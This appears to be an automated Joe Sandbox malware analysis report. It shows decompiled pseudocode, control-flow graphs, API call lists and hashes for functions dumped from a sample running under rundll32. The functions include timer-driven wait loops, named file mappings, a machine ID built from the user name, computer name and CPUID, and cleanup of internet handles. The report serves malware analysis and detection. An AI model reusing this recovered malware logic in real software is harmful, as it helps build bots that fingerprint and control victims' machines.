                  control_flow_graph 183 4d56815-4d56847 memset CreateWaitableTimerA 184 4d5684d-4d568a6 _allmul SetWaitableTimer WaitForMultipleObjects 183->184 185 4d569c8-4d569ce GetLastError 183->185 187 4d56930-4d56936 184->187 188 4d568ac-4d568af 184->188 186 4d569d2-4d569dc 185->186 189 4d56937-4d5693b 187->189 190 4d568b1 call 4d55251 188->190 191 4d568ba 188->191 193 4d5693d-4d56945 HeapFree 189->193 194 4d5694b-4d5694f 189->194 198 4d568b6-4d568b8 190->198 192 4d568c4 191->192 197 4d568c8-4d568cd 192->197 193->194 194->189 196 4d56951-4d5695b CloseHandle 194->196 196->186 199 4d568e0-4d5690d call 4d535d2 197->199 200 4d568cf-4d568d6 197->200 198->191 198->192 204 4d5695d-4d56962 199->204 205 4d5690f-4d5691a 199->205 200->199 201 4d568d8 200->201 201->199 206 4d56964-4d5696a 204->206 207 4d56981-4d56989 204->207 205->197 208 4d5691c-4d5692c call 4d569e6 205->208 206->187 209 4d5696c-4d5697f call 4d563f6 206->209 210 4d5698f-4d569bd _allmul SetWaitableTimer WaitForMultipleObjects 207->210 208->187 209->210 210->197 213 4d569c3 210->213 213->187
                  C-Code - Quality: 83%
                  			E04D56815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4d5a2e0);
					_v76 = 0;
					_v80 = 0;
					L04D582DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x4d5a30c; // 0x2c0
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4d5a2ec = 5;
						} else {
							_t69 = E04D55251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x4d5a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E04D535D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E04D569E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4d5a2e4);
							goto L21;
						} else {
							__eflags =  *0x4d5a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E04D563F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4d5a2e8);
								L21:
								L04D582DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x4d5a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                  0x04d56815
                  0x04d5682b
                  0x04d5682f
                  0x04d56834
                  0x04d5683b
                  0x04d56841
                  0x04d56847
                  0x04d569ce
                  0x04d5684d
                  0x04d5684d
                  0x04d5684f
                  0x04d56854
                  0x04d56855
                  0x04d5685b
                  0x04d5685f
                  0x04d56863
                  0x04d56871
                  0x04d5687f
                  0x04d56883
                  0x04d56885
                  0x04d56892
                  0x04d5689e
                  0x04d568a0
                  0x04d568a6
                  0x04d568af
                  0x04d568ba
                  0x04d568ba
                  0x04d568b1
                  0x04d568b1
                  0x04d568b8
                  0x00000000
                  0x00000000
                  0x04d568b8
                  0x04d568c4
                  0x00000000
                  0x04d568c8
                  0x04d568cd
                  0x04d568d8
                  0x04d568d8
                  0x04d568e0
                  0x04d568e6
                  0x04d568ee
                  0x04d568f7
                  0x04d568fe
                  0x04d56902
                  0x04d56907
                  0x04d5690d
                  0x00000000
                  0x00000000
                  0x04d5690f
                  0x04d56913
                  0x04d5691a
                  0x00000000
                  0x04d5691c
                  0x04d5692c
                  0x04d5692c
                  0x00000000
                  0x04d5695d
                  0x04d5695d
                  0x04d56962
                  0x04d56981
                  0x04d56983
                  0x04d56988
                  0x04d56989
                  0x00000000
                  0x04d56964
                  0x04d56964
                  0x04d5696a
                  0x00000000
                  0x04d5696c
                  0x04d5696c
                  0x04d56971
                  0x04d56973
                  0x04d56978
                  0x04d56979
                  0x04d5698f
                  0x04d5698f
                  0x04d56997
                  0x04d569a5
                  0x04d569a9
                  0x04d569b5
                  0x04d569b7
                  0x04d569bb
                  0x04d569bd
                  0x00000000
                  0x04d569c3
                  0x00000000
                  0x04d569c3
                  0x04d569bd
                  0x04d5696a
                  0x00000000
                  0x04d56962
                  0x04d56930
                  0x04d56932
                  0x04d56936
                  0x04d56937
                  0x04d56937
                  0x04d5693b
                  0x04d56945
                  0x04d56945
                  0x04d5694b
                  0x04d5694e
                  0x04d5694e
                  0x04d56955
                  0x04d56955
                  0x04d569dc
                  0x00000000

                  APIs
                  • memset.NTDLL ref: 04D5682F
                  • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04D5683B
                  • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04D56863
                  • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 04D56883
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,04D526E9,?), ref: 04D5689E
                  • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,04D526E9,?,00000000), ref: 04D56945
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04D526E9,?,00000000,?,?), ref: 04D56955
                  • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04D5698F
                  • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 04D569A9
                  • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04D569B5
                    • Part of subcall function 04D55251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05C79218,00000000,?,74D0F710,00000000,74D0F730), ref: 04D552A0
                    • Part of subcall function 04D55251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05C79160,?,00000000,30314549,00000014,004F0053,05C79270), ref: 04D5533D
                    • Part of subcall function 04D55251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04D568B6), ref: 04D5534F
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04D526E9,?,00000000,?,?), ref: 04D569C8
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                  • String ID:
                  • API String ID: 3521023985-0
                  • Opcode ID: 7e65d74a44f8abea16cda4c7ea76ea1d0bbcb477a71658587115ed0621157ed2
                  • Instruction ID: a6993ef7efc292a6f0b494239cf2a74d10078462e88fd55ff0ec0a750245ba31
                  • Opcode Fuzzy Hash: 7e65d74a44f8abea16cda4c7ea76ea1d0bbcb477a71658587115ed0621157ed2
                  • Instruction Fuzzy Hash: F5518271509320AFDB109F15DC44DABBFECFB85764F404A1AF899922A0DB74D944CFA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 216 4cc1598-4cc15ef GetSystemTimeAsFileTime _aulldiv _snwprintf 217 4cc15f6-4cc160f CreateFileMappingW 216->217 218 4cc15f1 216->218 219 4cc1659-4cc165f GetLastError 217->219 220 4cc1611-4cc161a 217->220 218->217 223 4cc1661-4cc1667 219->223 221 4cc161c-4cc1623 GetLastError 220->221 222 4cc162a-4cc1638 MapViewOfFile 220->222 221->222 224 4cc1625-4cc1628 221->224 225 4cc1648-4cc164e GetLastError 222->225 226 4cc163a-4cc1646 222->226 227 4cc1650-4cc1657 CloseHandle 224->227 225->223 225->227 226->223 227->223
                  C-Code - Quality: 69%
                  			E04CC1598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L04CC2250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x4cc41c4;
				_push(_t15 + 0x4cc5149);
				_push(_t15 + 0x4cc5048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L04CC224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x4cc41c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                  0x04cc1598
                  0x04cc15a1
                  0x04cc15a5
                  0x04cc15ab
                  0x04cc15b0
                  0x04cc15b5
                  0x04cc15b8
                  0x04cc15bb
                  0x04cc15c0
                  0x04cc15c1
                  0x04cc15c4
                  0x04cc15cf
                  0x04cc15d6
                  0x04cc15da
                  0x04cc15dc
                  0x04cc15dd
                  0x04cc15e0
                  0x04cc15e5
                  0x04cc15ef
                  0x04cc15f1
                  0x04cc15f1
                  0x04cc1605
                  0x04cc160b
                  0x04cc160f
                  0x04cc165f
                  0x04cc1611
                  0x04cc161a
                  0x04cc1630
                  0x04cc1638
                  0x04cc164a
                  0x04cc164e
                  0x00000000
                  0x00000000
                  0x04cc163a
                  0x04cc163d
                  0x04cc1642
                  0x04cc1644
                  0x04cc1644
                  0x04cc1625
                  0x04cc1627
                  0x04cc1650
                  0x04cc1651
                  0x04cc1651
                  0x04cc161a
                  0x04cc1667

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?), ref: 04CC15A5
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04CC15BB
                  • _snwprintf.NTDLL ref: 04CC15E0
                  • CreateFileMappingW.KERNELBASE(000000FF,04CC41C8,00000004,00000000,?,?), ref: 04CC1605
                  • GetLastError.KERNEL32 ref: 04CC161C
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 04CC1630
                  • GetLastError.KERNEL32 ref: 04CC1648
                  • CloseHandle.KERNEL32(00000000), ref: 04CC1651
                  • GetLastError.KERNEL32 ref: 04CC1659
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1724014008-0
                  • Opcode ID: 236baebb920ab912dedd3ccb0449c6da85e1bfa1cee5d44d183c8a115f820eb5
                  • Instruction ID: fe2ca029ca84d5750213639a96a80a274e35fc9a413ad1c42303780bc750d76e
                  • Opcode Fuzzy Hash: 236baebb920ab912dedd3ccb0449c6da85e1bfa1cee5d44d183c8a115f820eb5
                  • Instruction Fuzzy Hash: 612195B6A00104FFD710AFA5DC84EDE77AEEB48354F198029FA06E7191DA74ED458F60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 74%
                  			E04D5415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04D582D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4d5a348; // 0xf1d5a8
				_t5 = _t13 + 0x4d5b7b4; // 0x5c78d5c
				_t6 = _t13 + 0x4d5b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04D57F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x4d5a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                  0x04d5415a
                  0x04d54162
                  0x04d54166
                  0x04d5416c
                  0x04d54171
                  0x04d54176
                  0x04d54179
                  0x04d5417c
                  0x04d54181
                  0x04d54182
                  0x04d54185
                  0x04d5418a
                  0x04d54191
                  0x04d5419b
                  0x04d5419d
                  0x04d5419e
                  0x04d541a1
                  0x04d541bd
                  0x04d541c3
                  0x04d541c7
                  0x04d54215
                  0x04d541c9
                  0x04d541d6
                  0x04d541e6
                  0x04d541ee
                  0x04d54200
                  0x04d54204
                  0x00000000
                  0x00000000
                  0x04d541f0
                  0x04d541f3
                  0x04d541f8
                  0x04d541fa
                  0x04d541fa
                  0x04d541d8
                  0x04d541da
                  0x04d54206
                  0x04d54207
                  0x04d54207
                  0x04d541d6
                  0x04d5421c

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,04D525B1,?,?,4D283A53,?,?), ref: 04D54166
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04D5417C
                  • _snwprintf.NTDLL ref: 04D541A1
                  • CreateFileMappingW.KERNELBASE(000000FF,04D5A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 04D541BD
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04D525B1,?,?,4D283A53,?), ref: 04D541CF
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 04D541E6
                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,04D525B1,?,?,4D283A53), ref: 04D54207
                  • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04D525B1,?,?,4D283A53,?), ref: 04D5420F
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1814172918-0
                  • Opcode ID: 4ff321126f47018fe1fc011abd997f0b697d7b84b9266567e9220d25469c011c
                  • Instruction ID: e314711c222ea45f4da3ba2f5b637105852d26040f2d65851411bad963cecc36
                  • Opcode Fuzzy Hash: 4ff321126f47018fe1fc011abd997f0b697d7b84b9266567e9220d25469c011c
                  • Instruction Fuzzy Hash: 7D21C0B2B40314BBDB11AB68DC15F9E37A9EB84750F204061F909E72A0EF70E9458B61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D53BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 237 4d53bd3-4d53be7 238 4d53bf1-4d53c03 call 4d571cd 237->238 239 4d53be9-4d53bee 237->239 242 4d53c05-4d53c15 GetUserNameW 238->242 243 4d53c57-4d53c64 238->243 239->238 244 4d53c66-4d53c7d GetComputerNameW 242->244 245 4d53c17-4d53c27 RtlAllocateHeap 242->245 243->244 246 4d53c7f-4d53c90 RtlAllocateHeap 244->246 247 4d53cbb-4d53cdf 244->247 245->244 248 4d53c29-4d53c36 GetUserNameW 245->248 246->247 249 4d53c92-4d53c9b GetComputerNameW 246->249 250 4d53c46-4d53c55 HeapFree 248->250 251 4d53c38-4d53c44 call 4d556b9 248->251 253 4d53c9d-4d53ca9 call 4d556b9 249->253 254 4d53cac-4d53cb5 HeapFree 249->254 250->244 251->250 253->254 254->247
                  C-Code - Quality: 96%
                  			E04D53BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x4d5a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04D571CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4d5a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4d5a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04D556B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x4d5a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4d5a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04D556B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x4d5a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                  0x04d53bd3
                  0x04d53bdb
                  0x04d53bdf
                  0x04d53be2
                  0x04d53be7
                  0x04d53be9
                  0x04d53bee
                  0x04d53bee
                  0x04d53bf4
                  0x04d53bf6
                  0x04d53c03
                  0x04d53c64
                  0x04d53c05
                  0x04d53c0a
                  0x04d53c10
                  0x04d53c15
                  0x04d53c23
                  0x04d53c27
                  0x04d53c36
                  0x04d53c3d
                  0x04d53c44
                  0x04d53c44
                  0x04d53c4f
                  0x04d53c4f
                  0x04d53c27
                  0x04d53c15
                  0x04d53c66
                  0x04d53c6c
                  0x04d53c76
                  0x04d53c78
                  0x04d53c7d
                  0x04d53c8c
                  0x04d53c90
                  0x04d53c9b
                  0x04d53ca2
                  0x04d53ca9
                  0x04d53ca9
                  0x04d53cb5
                  0x04d53cb5
                  0x04d53c90
                  0x04d53cc0
                  0x04d53cc2
                  0x04d53cc5
                  0x04d53cc7
                  0x04d53cca
                  0x04d53ccd
                  0x04d53cd7
                  0x04d53cdb
                  0x04d53cdf

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 04D53C0A
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 04D53C21
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 04D53C2E
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D53C4F
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04D53C76
                  • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04D53C8A
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04D53C97
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D53CB5
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: HeapName$AllocateComputerFreeUser
                  • String ID:
                  • API String ID: 3239747167-0
                  • Opcode ID: 6084cf1c10d3246175c26781eb11fdcc9e8152994b962798e1385171bc6109bc
                  • Instruction ID: 227e5619a0c62e05e038cdb8cace5e6e95820c2da747f0502f59efe897e25fcf
                  • Opcode Fuzzy Hash: 6084cf1c10d3246175c26781eb11fdcc9e8152994b962798e1385171bc6109bc
                  • Instruction Fuzzy Hash: F53117B1A00305EFDB10DFA9DD91A6AB7F9FB48340F508569E904D3320EB34EE219B20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D54BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 93%
                  			E04D54BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E04D516B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					FindCloseChangeNotification(_t20); // executed
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E04D561DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E04D561DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E04D561DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E04D561DA(_t46);
				}
				return _t24;
			}












                  0x04d54be7
                  0x04d54be7
                  0x04d54be9
                  0x04d54beb
                  0x04d54bf2
                  0x04d54bf9
                  0x04d54bf9
                  0x04d54bfe
                  0x04d54c01
                  0x04d54c08
                  0x04d54c11
                  0x04d54c15
                  0x04d54c1a
                  0x04d54c1a
                  0x04d54c1c
                  0x04d54c21
                  0x04d54c25
                  0x04d54c2a
                  0x04d54c2a
                  0x04d54c2c
                  0x04d54c31
                  0x04d54c35
                  0x04d54c3a
                  0x04d54c3a
                  0x04d54c3c
                  0x04d54c47
                  0x04d54c4a
                  0x04d54c4a
                  0x04d54c4c
                  0x04d54c51
                  0x04d54c54
                  0x04d54c54
                  0x04d54c56
                  0x04d54c5d
                  0x04d54c60
                  0x04d54c65
                  0x04d54c68
                  0x04d54c68
                  0x04d54c6b
                  0x04d54c70
                  0x04d54c73
                  0x04d54c73
                  0x04d54c78
                  0x04d54c7c
                  0x04d54c7f
                  0x04d54c7f
                  0x04d54c84
                  0x04d54c89
                  0x00000000
                  0x04d54c8c
                  0x04d54c93

                  APIs
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04D54C15
                  • InternetCloseHandle.WININET(?), ref: 04D54C1A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04D54C25
                  • InternetCloseHandle.WININET(?), ref: 04D54C2A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04D54C35
                  • InternetCloseHandle.WININET(?), ref: 04D54C3A
                  • FindCloseChangeNotification.KERNEL32(?,00000000,00000102,?,?,04D52248,?,?,74CF81D0,00000000,00000000), ref: 04D54C4A
                  • CloseHandle.KERNEL32(?,00000000,00000102,?,?,04D52248,?,?,74CF81D0,00000000,00000000), ref: 04D54C54
                    • Part of subcall function 04D516B2: WaitForMultipleObjects.KERNEL32(00000002,04D57C47,00000000,04D57C47,?,?,?,04D57C47,0000EA60), ref: 04D516CD
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Internet$Close$Handle$CallbackStatus$ChangeFindMultipleNotificationObjectsWait
                  • String ID:
                  • API String ID: 2172891992-0
                  • Opcode ID: 9800b7ab43b89ea26b8992033d4d44eb864b54b419d69c2d14332767e09dac64
